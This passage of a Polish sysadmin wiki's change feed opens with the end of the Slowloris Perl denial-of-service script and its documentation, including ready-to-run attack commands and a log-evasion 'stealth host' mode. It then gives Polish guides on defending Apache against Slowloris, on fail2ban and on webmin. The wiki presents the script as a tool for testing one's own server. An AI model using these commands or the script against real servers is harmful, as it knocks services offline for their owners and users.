                    $failedconnections++;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        print&lt;br /&gt;
&amp;quot;Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n&amp;quot;;&lt;br /&gt;
        sleep($timeout);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
sub domultithreading {&lt;br /&gt;
    my ($num) = @_;&lt;br /&gt;
    my @thrs;&lt;br /&gt;
    my $i                    = 0;&lt;br /&gt;
    my $connectionsperthread = 50;&lt;br /&gt;
    while ( $i &amp;lt; $num ) {&lt;br /&gt;
        $thrs[$i] =&lt;br /&gt;
          threads-&amp;gt;create( \&amp;amp;doconnections, $connectionsperthread, 1 );&lt;br /&gt;
        $i += $connectionsperthread;&lt;br /&gt;
    }&lt;br /&gt;
    my @threadslist = threads-&amp;gt;list();&lt;br /&gt;
    while ( $#threadslist &amp;gt; 0 ) {&lt;br /&gt;
        $failed = 0;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
__END__&lt;br /&gt;
&lt;br /&gt;
=head1 TITLE&lt;br /&gt;
&lt;br /&gt;
Slowloris&lt;br /&gt;
&lt;br /&gt;
=head1 VERSION&lt;br /&gt;
&lt;br /&gt;
Version 0.7 Beta&lt;br /&gt;
&lt;br /&gt;
=head1 DATE&lt;br /&gt;
&lt;br /&gt;
06/17/2009&lt;br /&gt;
&lt;br /&gt;
=head1 AUTHOR&lt;br /&gt;
&lt;br /&gt;
RSnake &amp;lt;h@ckers.org&amp;gt; with threading from John Kinsella&lt;br /&gt;
&lt;br /&gt;
=head1 ABSTRACT&lt;br /&gt;
&lt;br /&gt;
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don&#039;t die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.&lt;br /&gt;
&lt;br /&gt;
=head1 AFFECTS&lt;br /&gt;
&lt;br /&gt;
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?&lt;br /&gt;
&lt;br /&gt;
=head1 NOT AFFECTED&lt;br /&gt;
&lt;br /&gt;
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?&lt;br /&gt;
&lt;br /&gt;
=head1 DESCRIPTION&lt;br /&gt;
&lt;br /&gt;
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it&#039;s threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.&lt;br /&gt;
&lt;br /&gt;
As a side note, Slowloris does not consume a lot of resources so modern operating systems don&#039;t have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.&lt;br /&gt;
&lt;br /&gt;
=head2 Testing&lt;br /&gt;
&lt;br /&gt;
If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:&lt;br /&gt;
&lt;br /&gt;
=head3 Testing Example:&lt;br /&gt;
&lt;br /&gt;
./slowloris.pl -dns www.example.com -port 80 -test&lt;br /&gt;
&lt;br /&gt;
This won&#039;t give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn&#039;t suggest that unless you know what you&#039;re doing).&lt;br /&gt;
&lt;br /&gt;
=head2 HTTP DoS&lt;br /&gt;
&lt;br /&gt;
Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that&#039;s for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it&#039;s successful or not though.&lt;br /&gt;
&lt;br /&gt;
=head3 HTTP DoS Example:&lt;br /&gt;
&lt;br /&gt;
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5&lt;br /&gt;
&lt;br /&gt;
=head2 HTTPReady Bypass&lt;br /&gt;
&lt;br /&gt;
HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. &lt;br /&gt;
&lt;br /&gt;
=head3 HTTPReady Bypass Example&lt;br /&gt;
&lt;br /&gt;
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready&lt;br /&gt;
&lt;br /&gt;
=head2 Stealth Host DoS&lt;br /&gt;
&lt;br /&gt;
If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.&lt;br /&gt;
&lt;br /&gt;
=head3 Stealth Host DoS Example:&lt;br /&gt;
&lt;br /&gt;
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com&lt;br /&gt;
&lt;br /&gt;
=head2 HTTPS DoS&lt;br /&gt;
&lt;br /&gt;
Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.&lt;br /&gt;
&lt;br /&gt;
=head3 HTTPS DoS Example:&lt;br /&gt;
&lt;br /&gt;
./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https&lt;br /&gt;
&lt;br /&gt;
=head2 HTTP Cache&lt;br /&gt;
&lt;br /&gt;
Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.&lt;br /&gt;
&lt;br /&gt;
=head3 HTTP Cache Example:&lt;br /&gt;
&lt;br /&gt;
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache&lt;br /&gt;
&lt;br /&gt;
=head1 Issues&lt;br /&gt;
&lt;br /&gt;
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it&#039;s current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won&#039;t be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. &lt;br /&gt;
&lt;br /&gt;
Slowloris isn&#039;t completely quiet either, because it can&#039;t be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it&#039;s not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.&lt;br /&gt;
&lt;br /&gt;
For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it&#039;s probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can&#039;t open any more ports than ~130 or so on any server you test - you&#039;re probably running into this &amp;quot;feature&amp;quot; of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.  &lt;br /&gt;
&lt;br /&gt;
Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it&#039;s logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won&#039;t be in the logs, but once the sockets close you&#039;ll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.&lt;br /&gt;
&lt;br /&gt;
=head1 What is a slow loris?&lt;br /&gt;
&lt;br /&gt;
What exactly is a slow loris?  It&#039;s an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:&lt;br /&gt;
&lt;br /&gt;
http://www.youtube.com/watch?v=rLdQ3UhLoD4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tutaj zostało oficjalnie opublikowane [http://ha.ckers.org/slowloris/ Źródło skryptu]&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=334</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=334"/>
		<updated>2009-09-30T19:22:14Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następującym skryptem wykonamy atak na swój serwer, oraz sprawdzimy skuteczność mechanizmów obronnych.&lt;br /&gt;
[[Slowloris.pl_(Skrypt)| Źródło skryptu oraz przykład użycia]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=333</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=333"/>
		<updated>2009-09-30T19:20:38Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Slowloris.pl_(Skrypt)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=332</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=332"/>
		<updated>2009-09-30T19:14:57Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:800px-Slow_Loris_Female.jpg&amp;diff=331</id>
		<title>Plik:800px-Slow Loris Female.jpg</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:800px-Slow_Loris_Female.jpg&amp;diff=331"/>
		<updated>2009-09-30T19:13:55Z</updated>

		<summary type="html">&lt;p&gt;Stare: Slow Loris&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Slow Loris&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Fail2ban&amp;diff=221</id>
		<title>Fail2ban</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Fail2ban&amp;diff=221"/>
		<updated>2009-08-27T11:28:42Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Fail2Ban - oprogramowanie służące ochronie systemu informatycznego poprzez blokowaniu ataków typu Brute-Force na najważniejsze usługi systemowe (SSH / FTP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
W wypadku wykrycia zbyt dużej liczby niepowodzeń w logowaniu, fail2ban zablokuje użytkownikowi dostęp do serwera poprzez blokadę na firewallu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Instalacja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install fail2ban&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plik konfiguracyjny:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano /etc/fail2ban/jail.local&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dodawanie adresu ip (192.168.0.243)  do białej listy&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ignoreip = 127.0.0.1 192.168.0.243&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Powyższe adresy będą wykluczone ze sprawdzania.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Czas blokady (w sekundach)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Wysyłanie logów o &amp;quot;próbie włamania&amp;quot; na adres e-mail.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ustawiamy adres e-mail odbiorcy logów.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
destemail = xxx@domena.pl&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zmieniamy tryb z (samego banowania, na banowanie z logami via email)&lt;br /&gt;
&lt;br /&gt;
Edytujemy wpis&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
action = %(action_)s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
modyfikując na&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
action = %(action_mwl)s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ilość nieudanych prób logowania definiujemy poprzez&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
maxretry = 6 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
[[Plik:Fail2ban w akcji powiadomienie.png|200px|thumb|right|Fail2ban w akcji (powiadomienie)]] &lt;br /&gt;
&lt;br /&gt;
6 jest liczbą domyślną, i według mojej oceny nie wybraną przypadkowo.&lt;br /&gt;
Niektórzy użytkownicy korzystają z zestawu kilku haseł domyślnych, więc zanim uda im się trafić w to &amp;quot;właściwe&amp;quot; mija kilka prób.&lt;br /&gt;
Bardziej agresywna polityka typu 2/3 może spotkać się z narzekaniami tych że użytkowników, i koniecznością &amp;quot; ich odblokowywania&amp;quot; lub dodawania do &amp;quot;białej listy&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
W związku z powyższym w niektórych wypadkach sugerował bym nawet zwiększenie limitu do 12 prób lecz znaczne zwiększenie czasu blokady.&lt;br /&gt;
Zyskujemy wtedy 100% pewność że akcja użytkownika jest faktycznie atakiem, a nie próbą &amp;quot;odgadnięcia swojego hasła&amp;quot;.&lt;br /&gt;
W takim wypadku nie będziemy musieli nadmiernie ingerować w nasz serwer, w celu odblokowania zapominalskich userów.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Fail2ban&amp;diff=220</id>
		<title>Fail2ban</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Fail2ban&amp;diff=220"/>
		<updated>2009-08-27T10:54:24Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „Fail2Ban - oprogramowanie służące ochronie systemu informatycznego poprzez blokowaniu ataków typu Brute-Force na najważniejsze usługi systemowe (SSH / FTP).   W w…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Fail2Ban - oprogramowanie służące ochronie systemu informatycznego poprzez blokowaniu ataków typu Brute-Force na najważniejsze usługi systemowe (SSH / FTP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
W wypadku wykrycia zbyt dużej liczby niepowodzeń w logowaniu, fail2ban zablokuje użytkownikowi dostęp do serwera poprzez blokadę na firewallu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Instalacja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install fail2ban&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plik konfiguracyjny:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano /etc/fail2ban/jail.local&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dodawanie adresu ip (192.168.0.243)  do białej listy&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ignoreip = 127.0.0.1 192.168.0.243&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Powyższe adresy będą wykluczone ze sprawdzania.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Czas blokady (w sekundach)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Plik:Fail2ban w akcji powiadomienie.png|200px|thumb|right|Fail2ban w akcji (powiadomienie)]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Wysyłanie logów o &amp;quot;próbie włamania&amp;quot; na adres e-mail.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ustawiamy adres e-mail odbiorcy logów.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
destemail = xxx@domena.pl&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zmieniamy tryb z (samego banowania, na banowanie z logami via email)&lt;br /&gt;
&lt;br /&gt;
Edytujemy wpis&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
action = %(action_)s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
modyfikując na&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
action = %(action_mwl)s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ilość nieudanych prób logowania definiujemy poprzez&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
maxretry = 6 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6 jest liczbą domyślną, i według mojej oceny nie wybraną przypadkowo.&lt;br /&gt;
Niektórzy użytkownicy korzystają z zestawu kilku haseł domyślnych, więc zanim uda im się trafić w to &amp;quot;właściwe&amp;quot; mija kilka prób.&lt;br /&gt;
Bardziej agresywna polityka typu 2/3 może spotkać się z narzekaniami tych że użytkowników, i koniecznością &amp;quot; ich odblokowywania&amp;quot; lub dodawania do &amp;quot;białej listy&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
W związku z powyższym w niektórych wypadkach sugerował bym nawet zwiększenie limitu do 12 prób lecz znaczne zwiększenie czasu blokady.&lt;br /&gt;
Zyskujemy wtedy 100% pewność że akcja użytkownika jest faktycznie atakiem, a nie próbą &amp;quot;odgadnięcia swojego hasła&amp;quot;.&lt;br /&gt;
W takim wypadku nie będziemy musieli nadmiernie ingerować w nasz serwer, w celu odblokowania zapominalskich userów.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Plik:Fail2ban_w_akcji_powiadomienie.png&amp;diff=219</id>
		<title>Plik:Fail2ban w akcji powiadomienie.png</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Plik:Fail2ban_w_akcji_powiadomienie.png&amp;diff=219"/>
		<updated>2009-08-27T10:43:23Z</updated>

		<summary type="html">&lt;p&gt;Stare: Powiadomienie fail2ban&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Powiadomienie fail2ban&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina_(webmin)&amp;diff=218</id>
		<title>Instalacja webmina (webmin)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Instalacja_webmina_(webmin)&amp;diff=218"/>
		<updated>2009-08-25T08:43:16Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Aby zainstalować najnowszą wersję Webmina.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget http://downloads.sourceforge.net/project/webadmin/webmin/1.480/webmin_1.480_all.deb?use_mirror=dfn&lt;br /&gt;
dpkg -i webmin_1.480_all.deb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dostęp możliwy jest na porcie 10000 w połączeniu szyfrowanym SSL.&lt;br /&gt;
&lt;br /&gt;
https://localhost:10000&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=%C5%81adne_wypluwanie_(drukowanie)_log%C3%B3w_na_konsol%C4%99_(tail)&amp;diff=217</id>
		<title>Ładne wypluwanie (drukowanie) logów na konsolę (tail)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=%C5%81adne_wypluwanie_(drukowanie)_log%C3%B3w_na_konsol%C4%99_(tail)&amp;diff=217"/>
		<updated>2009-08-25T08:39:46Z</updated>

		<summary type="html">&lt;p&gt;Stare: Utworzył nową stronę „Efekt finalny  Aby wyrzucić w dosyć efektowny i co najważniejsze użyteczny sposób logi na konsoli (…”&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:Wypluwanie logow na konsole tail.png|300px|thumb|right|Efekt finalny]]&lt;br /&gt;
&lt;br /&gt;
Aby wyrzucić w dosyć efektowny i co najważniejsze użyteczny sposób logi na konsoli (polecam SSH), możemy posłużyć się magiczną komendą&lt;br /&gt;
&lt;br /&gt;
